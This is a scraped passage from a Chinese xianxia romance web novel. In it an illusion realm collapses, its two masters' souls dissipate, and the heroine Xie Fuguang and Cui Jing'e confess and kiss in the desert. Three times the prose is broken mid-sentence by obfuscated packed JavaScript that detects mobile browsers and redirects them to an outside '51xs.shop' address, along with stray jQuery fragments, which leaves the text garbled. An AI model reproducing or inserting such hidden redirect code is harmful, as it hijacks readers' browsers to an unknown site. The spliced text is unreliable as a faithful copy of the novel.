朱颜故事情很多,大概有一半是自找的,除去炼丹,她还每日清点三次轻尘给的那沓符咒,日中太阳最盛时,还要将符咒捧到有太阳的窗口晒一晒,可谓精心至极,忙,但乐此不疲。 相较而言,谢扶光闲得骨头软,只觉浑身经脉都被养懒了。 他们四人里,她是最闲的一个。 明镜台那边,轻尘禀报过后,黎暨对朱颜故的事表现出高度的重视,不止一次向轻尘表态:“不止我们明镜台,整个修界都是义字当头,虽说葵花妖非我族类,但只要是大义所驱之事,我们都不会坐视不管。” 崔惊厄每每听见,都对黎暨使眼色,示意他演的太过了。 轻尘倒丝毫不觉奇怪,还颇受鼓舞,每一天都干劲儿十足。 崔惊厄在上一场轮回里见过螭寐,对他有几分了解。 “螭寐近些年远没以前好斗,尤其对修界的态度大变,能不招惹就不招惹,上回交手时他自言自语泄露过一些信息,我猜测修界或许有什么人能压住他。” “他若真不欲招惹修界,背地搞丹药这些玩意儿又是干什么?”黎暨不理解。 两相矛盾,解释不通。 崔惊厄也思考了好几日这个问题,至今毫无头绪。 “罢了,此事之后再议,”他回归重点,“若修界真有人能压他,那个人一定不会希望两界争斗,此事有机会大事化小,不至于真正打起来,对我们是好事。” “但其他宗门不知道这仗打不起来,多半还是那一套,事不关己就不愿掺和。”黎暨头疼。 “这事也好办,”崔惊厄说,“你就在信里撒个小谎,说螭寐从朱颜故那儿已偷走部分丹药,不知已在修界混入多少钉子,到时候再派人掀起点舆论,就说不愿对抗螭寐的人,没准儿芯子已经变了。葵花妖族的事儿他们不愿费心思,但自证一定比谁都积极。” 这厢黎暨按照崔惊厄说的将事情一步步推进,私牢里,舒扬舟也从只知享乐的窝囊王上支棱起来,负手威严地立于一众子民之前。 “身陷囹圄,唯有自救。孩儿们,操练起来!” 50.空许约(第二卷完) 各宗门的回信来的不慢,与现实中拒绝轻尘时一样统一,口风却掉了个个儿,事关自身清名,加入同仇敌忾的大军、扯起大仁大义的大旗便不再是多麻烦的事。 他们一个个皆称此事事关重大,定不会袖手旁观。 明镜台距离两界交界最近,由黎暨作为代表出面,前往边界线与螭寐交涉。 “魔尊阁下,许久未见,别来无恙?”黎暨先礼后兵问候一句。 “黎掌门一把年纪,还有闲情来我这儿乱跑,本尊正当盛年,自然更不会有什么问题。”螭寐视角里的黎暨,还是明镜台真正掌门的白发苍苍形象。 黎暨不跟他逞口舌,见他阴阳怪气,干脆也省了寒暄,直接问:“近日我听说阁下在炼一种能隐匿邪气的丹药,可有此事?” “我妖魔界中事,不必向黎掌门交代吧。”螭寐依旧不好好说话。 “有一些还是得交代的,”黎暨皮笑肉不笑,“若真有丹药能隐匿气息,一旦魔兵犯我修界,我们岂非不知情?届时将非常被动,我修界各宗皆不会放任这种丹药炼成。” “呵,”螭寐嗤笑一声,眼尾一抹杀意流转而过,但想到“那个人”,终究勉力压下,指尖烦躁地戳着掌心,“所以,黎掌门今日过来,是来示威的?” 黎暨温文一笑:“阁下误会,我今日来,只是将我修界各宗态度知会您一声。” “这样啊,”螭寐松开掌心,也跟着笑了笑,玩死不承认那套,“掌门您这趟怕是白跑了,您说的‘炼丹药’这些都是没有的事,也不知谁跟您撒了这么个找死的谎,简直污您的耳朵。” 螭寐套话时,黎暨也在打量他,他面上虽现杀意,却无分毫意外之色,应是早有准备,想来修界确有人与他有联系,位置或许还不低。 他有点担心舒扬舟那边,螭寐得到消息后,葵花妖一族的日子必不会太好过。 心中正泛着隐忧,螭寐身后跑来一个魔兵,那魔兵附耳几句,他登时面色大变,再看黎暨时,面上阴戾又深了一层。 “我说黎掌门底气怎么这么足,原是早与葵花宫那群找死的杂碎串通好了。”螭寐还算有气度,这狠狠一句也是含笑说的,“我殿中有事待处理,先失陪了,您若还愿赖在这儿吹风,也请自便。” 螭寐说完一甩白袍,只留下一个负气背影。 螭寐的后院的确出了乱子。 就在两方交涉的功夫,舒扬舟干了件大事。 趁螭寐不在,他带领操练得还不错的“孩儿们”,搞死看守私牢的魔兵,上演了一出越狱,临行还不忘点一把火,又燃起一道飓风符助了把力,火势登时就烧起来,魔尊殿都未能幸免。 舒扬舟这案子做的比想象中大了点,他在私牢窝了近一个月的火,一时没控制住,为收场也添了点小麻烦。 火起的七日前,朱颜故刚给过螭寐第一批加料丹药,这场大火正撞上问题丹药东窗事发的日子,两相叠加,葵花妖一族在妖魔界彻底待不成,好在他们不惧阳,遂转入地上,在鹧鸪山脚安了家。 安居这事,轻尘是最先知道的,因此举很可能给明镜台招致麻烦,秉明此事前他还打了篇长长的腹稿,哪知黎暨高举起大义旗帜,不仅敞开怀抱温情接纳,还相当体贴地做了葵花妖一族的靠山。 继上次不愉快的见面后,螭寐和黎暨很快迎来第二次相看两厌的会晤。 鉴于本次主题是对峙和算账,黎暨还带上了舒扬舟和朱颜故。 螭寐提起那场火,舒扬舟拒不承认,问就是“我葵花宫与尊上的魔尊殿距离甚远,手如何能伸那么长”。 当着修界的面,螭寐总不好明晃晃说是自己将葵花妖全族囚入私牢,这才招致了祸端。 丹药则更是笔糊涂账,上回见面他才否认过此事,此刻若提,简直啪啪打自己的脸。 最后,他只好拿舒扬舟私自出妖魔界说事。 “禀尊上,”舒扬舟不卑不亢,“鹧鸪山受日光普照,且沐天地精华数百年,比葵花宫更适合我族修炼,我会做出此举,也是为了全族发展着想,承蒙黎掌门愿意收留。” 黎暨作为葵花妖一族的新晋靠山,当即秉持友好态度,表明敞开胸怀接纳的立场。 “葵花妖全族也不过几百小妖,鹧鸪山脚那块地方空着也是空着。更何况此前有关丹药的不实传言对修界与妖魔界间和平有所影响,把他们安置于鹧鸪山脚,正好也可为阁下正名。我已问过周围其他大小宗门的意思,他们对此都没有意见,”黎暨说完还笑问道,“尊上海纳百川,该不会为这点小事,就与我修界起争执吧?” 起争执,螭寐自然是想的。 没事他都想找事,更何况此次真被阴了。 若是从前,任性一回也无妨——就像第一场轮回里,他就在那间农院对轻尘和崔惊厄都动了手。 但近日恶事频出,一则魔尊殿被烧,二来丹药又出了问题,他刚受过“那个人”好一通敲打,“那个人”的忍耐是有限度的,更何况丹药的事既捅了出去,一时半会儿也不宜顶风作案,过了这阵另择时机为宜。 螭寐笑笑,重新戴上有风度的假面:“这次自然不会。” “但未来日子还长……”他话到此处戛然而止,不会善罢甘休几个字呼之欲出。 黎暨对此始终微笑。 他当然不在意,因为这里的一切都等不到那个“未来”了。 就在螭寐吃瘪离去的一瞬,空中数行金字浮现。 【恭喜渡业山谢扶光、渡业山舒扬舟顺利达成 一、朱颜故未行错; 二、螭寐受到教训; 三、轻尘不堕高台, 成功解开境主人朱颜故执念,通关轮回境。】 【恭喜悲问寺崔惊厄、逍遥宫黎暨顺利达成 一、修界光辉不散; 二、朱颜故执念解, 成功解开境主人轻尘执念,通关轮回境。】 【轮回境将于一炷香后消散,请诸位做好准备。】 金字的出现在所有人意料之中,这场新的轮回与他们刻意搭建的世界一样,顺利得像个童话。 他们按部就班,多方行动,将轻尘和朱颜故的执念一一解开,甚至没来得及与他们产生类似上场轮回境里的深情厚谊,任务就完成了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518724|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >轮回境以境主人执念为食,境散则执念散,亦是魂散。 也就是说,过了这一炷香,世间就再不会有轻尘和朱颜故了。 然而轮回境可怜的主人们对此一无所知。 朱颜故笑逐颜开,就要冲回明镜台与轻尘分享这一好消息。 “阿葵。”谢扶光在后叫住她。 朱颜故闻声顿住脚步,朝她投来一个欢快又疑问的目光。 这些时日谢扶光一直在想,应当与他们好好道个别,最好还在当时的农院,他们四个举杯畅饮,为这场缘分画个勉强圆满的句点。 可先前有事情压着,道别只能一拖再拖,如今仅剩一炷香时间,安排这些显然是不够了。 况且,真给她道别机会,她多半也要词穷,就如现在。 朱颜故没等到她开口,当她是想道歉又拉不下面子,于是很大度地替她开口:“别哑巴啦,之前的事,我不与你计较了。” 谢扶光闻言,只觉空气酸涩,吸入肺腑闷痛不已,她有心想再与朱颜故说上几句,又想到这一炷香同时也是朱颜故和轻尘最后的时光。 “阿葵,你很好。”这一句她发自真心。 说完很快又道:“你快去找轻尘吧,再见了。” “我正是打算去找他!” 朱颜故笑着朝她一挥手,就很急切地跑远了。 崔惊厄和轻尘立在鹧鸪山脚等黎暨他们的消息。 “师兄,我猜事成了。”崔惊厄也看见了金字,他的语气听不出多欢喜。 “此事螭寐并不占理,我们自然是能成的。” 正是一天日光最盛的时候,太阳直直照下来,将轻尘这位“山巅雪”镀上一层暖边。 他沐在金光下,心中满溢对修界的敬慕与对道法的尊崇,仿佛一颗道心从不曾染血过。 “轻尘道长!”朱颜故一身绯红衣衫,喜气洋洋朝他们跑来,离老远就开始招手,“螭寐跑了,以后我们可以一起在鹧鸪山修道了!” 轻尘眉眼间晕开柔和笑意,打开储物袋,从中取出厚厚一摞典籍,涉及的内容面很杂,经书与功法都有。 “送你的乔迁之礼。”他微笑开口,“里面的经文有益修身养性,功法也是我挑出适合你的,日后修炼上若有什么疑问,之前给你的符咒依旧适用,你点燃后我会准时出现在这里。” “好!”朱颜故双手捧过书籍,踌躇满志,“道长您就是我的奋斗目标,我一定勤加修炼,争取早日成长为道长您这般温柔又强大的人。到那时您能带我一起去各处除恶诛邪么?” “自然,这些年你帮助周围百姓时,不早说我们是朋友了?” “那一言为定!” “好,一言为定。” 轮回境定格在他们许下约定的画面,随即从四面八方开始崩塌,人与物与景皆一寸寸化为齑粉纷飞四散。 轻尘与朱颜故双双魂散于美梦最浓时。 这两场轮回既温馨又惨烈,既真实又荒诞。 轻尘,朱颜故,愿我们为你们编织的童话世界如你们所愿。 也愿若干年后,世界当真能如此间一般。 51.拨云子 万里悲丘的太阳与明镜台的一样灼烫。 相似的日光诱人生错觉,谢扶光从轮回境脱出后,仍一时恍惚。 直至看清周围一成不变的漫漫黄沙,与舆图上已转为灰暗的秘境点,才后知后觉:轮回境中的一切是真的消失了。 “大小姐!” 当时秘境“花辞树”被叶放借两个轮回境的融合之力,强行并入其中,如今轮回境崩塌,卢笑绒自然也被飞来石传了出来。 见了她,谢扶光很快从感伤中回神,一手拉住舒扬舟衣袖,一手扯过黎暨后领口,要她分辨这两人有没有问题。 卢笑绒先凑到黎暨跟前嗅了嗅,黎暨命运的咽喉还被谢扶光从后卡着,声音嘶哑,声嘶力竭纠结的却是:“师妹……咳咳……为什么对舒兄那么温柔,对我就……差了那么亿点点?” “毕竟我才是亲师兄。”舒扬舟悠然道。 说话间,卢笑绒鉴别完毕,指着黎暨冲谢扶光笃定摇头,看向舒扬舟时却拧了下眉毛。 “不会吧?舒兄真有问题?”黎暨一个滑步避开八丈远。 卢笑绒啧了一声,冲谢扶光若有所思道:“大小姐,舒大哥的情况与你有点相像。” 与谢扶光相似,那应当不是什么大问题。 黎暨又一步滑回来,调侃道:“怎么你们渡业山的人都有点问题?风水太差了吧!” 说者无意听者有心,崔惊厄眉心一跳,抬了抬眼皮,胸腔再度上涌对谢白扇那股没来由的忌惮。 “具体什么情况,可否说详细些?”舒扬舟问。 “我可以判断出你和大小姐身体里并非邪物,”卢笑绒解释,“但你们身上气息确实有点古怪,舒大哥你的还要淡些,我很仔细体会才能闻到一缕,应是影响不大,至于大小姐……” 她搓着下巴,似在思索如何做出界定。 谢扶光却问得直接:“我身上的邪气有没有可能在关键时刻控制我?” 崔惊厄原本一直在琢磨渡业山有没有问题,如果有,又会不会从谢白扇这儿就烂到了根子里,耳洞骤然钻进谢扶光这一问,他心口条件反射般传来一阵幻疼,抬眸看去时正对上她的视线,眼皮被蛰了似的一颤。 卢笑绒没听太明白,适时发问:“大小姐是指怎么控制?” “譬如……”谢扶光与崔惊厄对视着,问得很缓慢,“控制我的神志,影响我的行为,操纵着我亲手将乐命送入某个身边人的心脏。” 很难描述这一霎什么感觉,崔惊厄心尖一跳,盘旋多日的疑问像浮出了答案,甚至右手姻缘线背后的所谓“背叛”,也有了合理解释。 仿佛一阵凛风过,剐掉黄土一层,露出一截其下掩埋的旧事,风沙漫天,他依旧看不清明,但已隐隐感到厚重。 四人一齐等着卢笑绒的答案。 专注的视线仿佛给了她压力,她说话声音小了一些:“具体影响多大,我也说不太清楚,等出了秘境,还是找有经验的老师傅瞧瞧吧。” 出了秘境…… 听来很合理,但谢扶光就是有种隐忧,到那时恐怕便已然晚了。 “还要出秘境啊……”崔惊厄大概与她有相同想法,当了她的嘴替,“看病这事,最好还是趁早。” “那现在跟我打道回府?”舒扬舟这样说,却没抱希望谢扶光会真的同他回去。 “我不会回去。”谢扶光果然拒绝。 舒扬舟没问她为什么,但是他问:“你为什么会选择这三个秘境?” 又是轻尘朱颜故,又是叶放,每一个秘境都命中部分秘密。 有这么巧么?他有这运气? 谢扶光半垂着眼,没有要开口的意思。 “哎,舒兄,巧了不是,这问题大小姐选的时候我就替你问过了,”崔惊厄搭上舒扬舟的肩,一副哥俩好的模样,顺利把谢扶光从问话中解救,“大小姐说啊,是神仙托梦让她这么选的,具体怎么回事说出来就不灵了。” “所以啊,咱们不光不能问,最好还得把大小姐这张金贵的嘴供起来,千万别让她开口。” 轮回境沉重,身在其中,崔惊厄有阵子没放这种不着四六的屁,又听见他胡说八道,谢扶光还怪亲切,吝啬地露了点笑意。 而就在这时,两块飞来石闪着金光飘到几人面前的虚空。 空中同时浮现金字。 【飞来石中是轮回境主人在设境之初即提前允下的谢礼。 为感谢渡业山谢扶光、渡业山舒扬舟,朱颜故特将“暗器拨云子制法”与“梦离箫谱”赠与二位; 为感谢悲问寺崔惊厄、逍遥宫黎暨,轻尘特将“菩提心法”、“子虚剑式”与“常见符咒画法”赠与二位。 滴灵力入飞来石即可获得。】 突如其来的沉重遗赠打断了交谈,几人都不是很好受,一时无话。 “驿站就在前面,”舒扬舟与朱颜故和轻尘感情最浅,率先开口,“先休息吧。” 大概是秘境等级提升,驿站都宽敞不少,上回他们五个只能共挤一张矮桌,这次已能每人分到一间房。 进屋前舒扬舟问:“下个秘境什么时候进?” “缓一天,后天清晨吧。”谢扶光想了想说。 “过去的就别想了。”舒扬舟当她还没从轮回境的经历抽身,回房时拍了拍她手臂。 谢扶光没有反驳,尽管她想的真不是这个。 她只是觉得,她与崔惊厄之间需要一场坦诚。 简单在房间安顿下来,谢扶光出门打算找崔惊厄,却被黎暨截了胡。 他来找崔惊厄分轻尘的谢礼。 朱颜故的谢礼谢扶光和舒扬舟已然分过,她拿到的是暗器拨云子的制法,她不习惯等人,索性先回房熟悉练习。 说是制法,其实“拨云子”的材质毫无特别,万事万物都可拿来一用,随便取块地上石子也行。 但放眼世间,此种暗器只朱颜故能制。 究其根本,拨云子的效力源自其上注入的正邪两股同源力道的碰撞,而此前唯独朱颜故同时具备这两种力量。 现在谢扶光也有了。 朱颜故留给她拨云子的制法,同时也将贮存妖气魔气等邪气的灵脉传给了她。 选择谢礼时,舒扬舟二话不说拿了梦离箫谱,将拨云子制法与这条灵脉留给她。 谢扶光明白他意思,他是想让她尝试利用这条全新的灵脉,吸纳体内可能存在的邪物。 因朱颜故是妖,这条灵脉吸纳妖力最为轻易,魔力次之,鬼力则最难。不过当前厉鬼尚未降世,她体内的脏东西大概率只是妖魔中的一种。二者间,她更倾向于与魔有关。 谢扶光闭目打坐,尝试运转那条邪脉,可不知是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545861|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出轮回境心神震荡,还是魂魄中的魔息在本能反抗,她念力总是无法集中,修习没一会儿整个人已烦躁得不行。 谢扶光安抚情绪的方式通常是练刀,她果断提起乐命出门。 时已入夜,月上中天,寂寥黄沙拢上一层孤冷清辉,夜风飒飒,吹得她袍袖猎猎作响。 谢扶光一道伶俜身影立于无垠大漠间,身形翻飞腾转,不足一盏茶光景已练了两套基础刀式,月光刚巧移到她眉间,寒光闪过的一瞬,她感到有点无趣。 在这万籁俱静的夜里,她不知怎么就想到了崔惊厄那只右手。 视线下移,她看向自己的左腕。 修界其实不乏可双手使用刀剑的修士,但兼顾二者会分散灵力与精力,难达登峰造极之境。谢扶光自由习惯练右手刀,正因此,她的左腕灵脉已枯竭多年。 但是现在,她突然想再用一用左手了。 既然与崔惊厄的右手相握时,这只左腕也能缠绕上红线,那么会不会当灵力流经左腕灵脉时,她也会感受到他的疼。 其实她不太能确定,因为幼年在测试左右两只手哪只更利于用刀时,她也是用过一阵左手刀的,后来证实效果不及右手刀才弃了。 当时她使用左手练刀时,并无丝毫痛感。 本着探索的心思,她把乐命换到左手,一寸寸将灵力涌入左腕的灵脉。 大概因为太久没用,灵力涌入时有种迟钝的滞涩感,灵脉处除去有些涨,便没了其他感觉。 她转了转手腕,有点没来由的遗憾,提起刀就准备回去。 刚往回走了两步,驿站的门突然打开一条缝隙,一只骨节分明的修长手掌扒着门框似要出来,但谢扶光已经看不清了。 左腕的痛意姗姗来迟,却又来势汹涌,直击着猝不及防的她浑身一颤,拄刀单膝跪地时冷汗顷刻已透了满身。 谢扶光疼得神识空白了一瞬,牙关死死咬着,灵魂却飘飘然出了个窍。 她后知后觉有点恍然刚刚自己在遗憾什么。 因为空白的大脑复苏后,她第一个念头便是:原来崔惊厄每回用右手剑时,都是这么疼的。 现在她终于知道了。 因为左腕实在太疼,谢扶光脑袋一阵醒一阵昏,短短片时竟像在生死间已横跳数十次,不知哪一次竟连半跪都跪不住,身子一歪就蜷缩着倒了下来。 她把牙关咬得响得厉害,耳畔除去“咯咯”的齿列碰撞声,还有一道脚步声由远及近。 适才打开驿站门的手从身后揽过她颤抖不休的身体,另一只一遍遍拭去她额上源源涌出的汗。 谢扶光有心避开他的手,但这会儿她疼得四肢绵软,半点力气都没有。 “大小姐……” 谢扶光双眼一直紧闭着,睫毛都被冷汗打湿彻底,她看不见他,只能凭贴耳传来的声音判断出他们此刻姿势很是亲密。 “这时候就别逞强了。”崔惊厄说着,把她左手下意识叩紧的乐命卸下,五指强横地掠夺了她指缝间空隙。 因为疼,谢扶光的五指依旧扣得死紧,绞起丝丝闷痛在他指骨间蔓开。 崔惊厄不在意这点疼,任由她缠。 “怎么想起左手用乐命了?”他在她耳畔絮絮低语,试图转移注意力让她好受一点,“不会是想试试我有多疼吧?这情深义重的,我压力多大。” 52.爱与吻 谢扶光自己都慢半拍意识到的心事,被他一句戳中,饶是痛到有点神志不清,她还是支棱起“垂死病中惊坐起”的精神,嘴硬反驳:“我……只是……好奇……” 她声音很细,还拖着呻吟的尾音,崔惊厄心尖一疼,也跟着咬了咬牙根。 “好奇你问我不就行了,”他本能把谢扶光抱更紧了些,却又不过分紧,珍重而怜惜,贴她更近地低语,“而且好奇会害死猫啊,大小姐以后还是别长这以身试毒的本事了。” 谢扶光觉得他话真是很多,疼都不让她好好疼。 他每说一句,她心里都有好几句想怼回去,偏疼得开不了口,一张嘴就混杂几句疼痛难耐的低吟。 她自幼受谢白扇教养,性清冷孤僻,受伤后从来都是缩起来自己舔伤,既不喜欢也不习惯在别人面前疼出声。 “大小姐,”偏崔惊厄这个魔鬼还在一句句魔音攻击,“我发现你这会儿脾气好得厉害,我干什么都不会挨骂,更不会挨打,你以后若是再用左手刀,我可能就要把握机会再到你耳边大不敬了。” 谢扶光没被握的右手朝身后砸出很没气势的绵软一击。 崔惊厄不躲不避,只顺势将虎口嵌入她微开的齿列:“别咬牙了,还是我比较软,口感更好些,试试?” 谢扶光头一回发现,崔惊厄除去当病秧子和神棍,还非常有做流氓的潜质。 挣了两下挣不脱,她干脆如他所愿真的咬了下去。 血腥气在口腔蔓开,她在疼痛的间隙里颠三倒四地想: 分享疼痛是件挺私密的事; 崔惊厄的虎口将留下她的齿痕; 原以为要断在轮回境里的情分,他们今夜竟又往下续了一章; 不对,也不算“竟”,只是心里一直有一搭没一搭记挂的事,被突如其来的心安罩住了而已。 …… 有点惊奇,思绪散着散着,她好像真的没那么疼了。 而恰在此时,脑海中另一道声音炸响。 “前世你与你的眷侣亲手结下这条姻缘线,说好恩爱两不疑,而你,却亲手杀了他,既背叛了你的眷侣,也枉费了我为你们牵红线的心意,你左腕的疼,便是它在代我收取惩罚……” 相似的声音崔惊厄也曾听过。 但它告诉谢扶光的比崔惊厄当时听的更多也更详细。 谢扶光刚被安抚下去的冷汗又冒了满脊,她出了个伤感的神: 看来轮回境中梦境并非虚妄,她是真的杀过他啊。 而他现在却不计前嫌地从后抱着她,还伸手给她咬。 想到这儿,她从心底升起一股强烈抵触,偏头避开崔惊厄的手,也挣扎着想要脱开他的怀抱。 原本安稳下来的人突然又动起来,崔惊厄面上有疑惑一闪而逝,但很快,细微波澜又沉没于静湖。 “我第一次疼的时候,迷迷糊糊有个声音告诉我,我和我的眷侣反目成仇,背叛了这条红线,”他的音调降了些,听来正经许多,“当时我既不知道那所谓‘眷侣’是谁,也不清楚‘背叛’是怎么一回事,我只是觉得这条线结的很是麻烦。” “但是,”他话锋一转,“知道姻缘线的另一头是你,我突然就高兴起来了。” 谢扶光不动了。 逐息加速的心跳扰乱了已从左腕冲撞到四肢百骸的疼,崔惊厄的话拂过她大半焦躁心绪,剩下的她已可以自行压下,听他把话说完。 “你能感到我们的记忆都有问题吧,之前一定发生过什么我们都不希望的事,既然有机会重来,就算真有什么背叛,也都一笔勾销吧。” “谢扶光,”他叫她的名字,“轮回境是假的,但我在里面对你说的话到死都保真。我不知道你是不是也听那道声音说了什么,但你要是也有哪怕一点喜欢我,就跟我站在一边,别听它挑拨,更别因此疏远我,该在对立面的是我们与困难,而不是你和我。” “所以,我的大小姐,轮回境里你对我的喜欢还作数么?”他最后问,“你不用说话,你若不愿我贴近,伸手一推我就明白了。” 崔惊厄说完这句等了一会儿,怀里的人没有避开的意思,他悬着的心往下落了落。 可刚落下一半,谢扶光又有了点反应,她似不满意他将她箍那么紧,身体轻轻挣动。 崔惊厄嘴角划过一抹苦笑,松开了手臂,嘴上还在勉力找补:“我刚刚说的站在一边其实也不止针对恋人,即便做不成眷侣,我们还是朋友,最起码还是大小姐和狗腿子的关系,所以……唔,嘶——” 他话没说完,嘴上陡然一痛,是谢扶光转身吻了上来。 她动作有点大,身体的疼痛跟着喧嚣,她没忍住一咬牙,险些啃下崔惊厄一块唇肉。 丝丝血气在她齿间溢散,与他虎口处血液的味道不同,被暧昧搅得粘稠,她竟从中品出一丝甜意。 谢扶光不知崔惊厄此时作何感想。 于她,是一时冲动下的顺理成章。 她想到她第一次杀人。 是真的杀人。 不是斩杀妖物,而是杀了与她同种族的、有血有肉的人。 那年她十一岁,杀的是无量阙一名年近三十的修士,修界夸她少年天才,前途无量,她却觉得空茫。 那修士急功近利走了邪道,数月间残害两名底层修士与八名无辜百姓。 谢扶光原没想杀人,只想捉他回仙盟受审,最终就地手刃他,只是因为以她当时的功夫,尚做不到毫不费力将其生擒。 而今时絮语中一瞬汹涌的爱意恰似当年缠斗时一霎乍起的杀心。 似已在血液蛰伏多时,轻轻一激即弥散心肺,失了理智考量,一发不可收拾。 谢扶光退开少许,适当拉远的距离足够她看清崔惊厄。 他眉间仍笼着一抹错愕。 对上他视线,她突然就有点后悔了。 这种悔意也与第一次杀人后的相近。 当年她对着无量阙那修士的尸体,立了许久,理智分裂成两半。 一半说,早知如此,她该在一开始就毫无保留出手,取他性命,也省了他蹦跶这样久,污言秽语惹她烦心一遭; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565772|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一半则说,她不该轻易暴怒,应情绪稳定徐徐图之,直至耗尽他最后一丝体力,把他交给仙盟做最合规的处置。 她的做法夹在中间,怎么想都不太聪明。 眼下类似的情绪又在萌芽。 一部分的她想,在见到崔惊厄之初,她就该抓紧时间与他亲近,及时行乐;一部分又心存犹疑,如今她体内邪气未去,她被连坐着也成了个危险物品,危险物应有主动锁于深柜的自觉。 谢扶光突然觉得很莫名,分明是崔惊厄引诱她的爱意破土,萌发枝丫,她却觉着有点对不起他。 她的脑子很乱,心念无序地电转,视线从崔惊厄的脸移到天上月。 不知何时,月旁已聚起繁星数点,星垂平野阔,大漠不再寂寥,颗颗黄沙因风聚散,同在天地间,总有重逢时。 那丝浅淡悔意被风吹散,她想,爱欲与杀意终究还是不同的。 至少这一刻,她不觉得这个吻错了。 天道无常,妖魔包藏祸心,修士愚蠢而自大,凡人独善其身一无所知…… 他们的处境变幻莫测,今时今日由若干选择叠加,世间事根本没什么命中注定,此刻种种不过一场珍贵而美妙的偶然。她是身在其中的幸运者,她深刻而沉浸地享受着,她应该坦诚。 兀地,眼前一暗,崔惊厄的手遮住了她的眼。 视野由漆黑一片逐渐转明,不知他又用了什么小把戏,在掌心印刻下他探过访过的山川缩影,在此刻将半生阅历一并呈给谢扶光赏玩。 “大小姐,你真是……”他的声音略带点颤抖,语气能听出几分无奈,“万里悲丘不算多好的地方,起码不够格做定情地,在这里,实在委屈你。” 谢扶光觉得对不起他的同时,他也在替她委屈。 “我早年游山玩水,每遇佳景,都会在左掌留个影。一点自欺欺人的小把戏,比不得白山绿水,但好歹比这大片沙子强些,大小姐凑合看看吧。” 说完,崔惊厄俯身低头,续上了她那个浅尝辄止又不得章法的亲吻。 一段乐声从驿站传出,应是舒扬舟在练习梦离箫。 音律、书画这些能拿出去装的技艺,他都修得很好。 在这清冷夜色里,他吹了首含着淡淡愁绪的曲子,悠扬婉转,流进有情人心里添了欲说还休的韵致。 不知过了多久,唇齿分开时,谢扶光因缺氧面带潮色,崔惊厄气息倒还很稳。 他冷白皮肤蒙着一层月光,唇上一抹染血的潋滟水色,双眼眼尾泛红,一副勾魂夺魄的好皮相。 “第一次见我,你觉得我丑么?”谢扶光看着他,突然问道。 记得最初见他,她是不喜欢他长相的,不知是不是有背叛了姻缘线的“怨偶”这一层因果。 “不丑,就是……”崔惊厄眯眼,想起初见的黄昏,明明没过多久,体验却被过于饱和的经历延长,此刻想到那堪称滑稽的初见,他轻笑道,“就是,像个索命的夜叉。” “也是,秘境前的幻境里,你其实看见了,是我杀的你吧。” 53.风满楼 器墓迷阵那晚,他们和卢笑绒三人有一场围火夜话,当时崔惊厄说的是没看清刺穿他心脏的人,但谢扶光对他越了解,越觉得他不会让自己看不清,他醒后吐的那口血,怕就是幻境中强用右手剑的结果。 “你不疼了?”崔惊厄不答先问。 谢扶光动了动身体,疼痛的确散去大半,仅存的一些在她可以忍耐的范畴。 她捻了记净身诀,直起身子坐在崔惊厄旁边。 “哦,那就是要开始了。”崔惊厄了然她心事,早知今夜会有一场坦诚。 只是过程出乎意料,加了段事关风月的惊喜前奏。 举头是明月,放眼是黄沙,周围没什么高地,一马平川,身后驿站里守候着一隅暖光,他们就在这浩荡天地间对彼此做出剖白。 “对,我承认,我最初接近你,的确是因为你身上有我要探索的东西,”崔惊厄没有否认,“此一时彼一时,当时我不知与你会有今日,动过一些晦暗心思。” 面对对自己有威胁的因素,多数人大概习惯逃避,崔惊厄却更喜欢把风险圈定在自己可控的范围,这是他的境界,他也有这个底气。 谢扶光对此没有意外,但接下来她的话大概率会令崔惊厄意外。 “有件事我想告诉你。”她说,“你大概很疑惑我为什么能选中那些藏有秘密的秘境,其实你随口那一猜有一部分是对的。” 崔惊厄当时调侃的是“晚上做梦、神仙指路”。 从记忆里翻出这一句,他挑起一侧眉梢,然后他听到她说。 “崔惊厄,你能相信么,我是重生的人。” “重生”一词听来很荒诞,说出口像得了癔症。 但崔惊厄只在初听时瞳孔微扩,很快恢复如常。 “不急,慢慢说。”他说。 “我一开始有所感应是在万里悲丘试炼前一个月左右,当时我本来对秘境试炼没什么兴趣,若非父亲要求我甚至不会参加。可冥冥中有一个声音指引着我,万里悲丘有我很重要的东西……” 谢扶光将秘境前的指引、幻境中天道的声音一一告知给崔惊厄。 崔惊厄听后情绪很冷静,还能帮她分析:“祂说,秘境上的白光提示是你以离散亲故为代价换取的?” “是,”谢扶光回忆,“我母亲在我出生不久就离奇失踪,父亲与我也很是疏离,从小到大我都没有什么朋友,离散亲故大概指的就是这些吧。” “或许,”崔惊厄颔首,他思考时总会下意识用右手食指一下下轻叩桌面或是膝弯,敲着敲着,他忽然想起之前忽略的一个细节,“大小姐,今日之前,你有没有用过左手刀?” 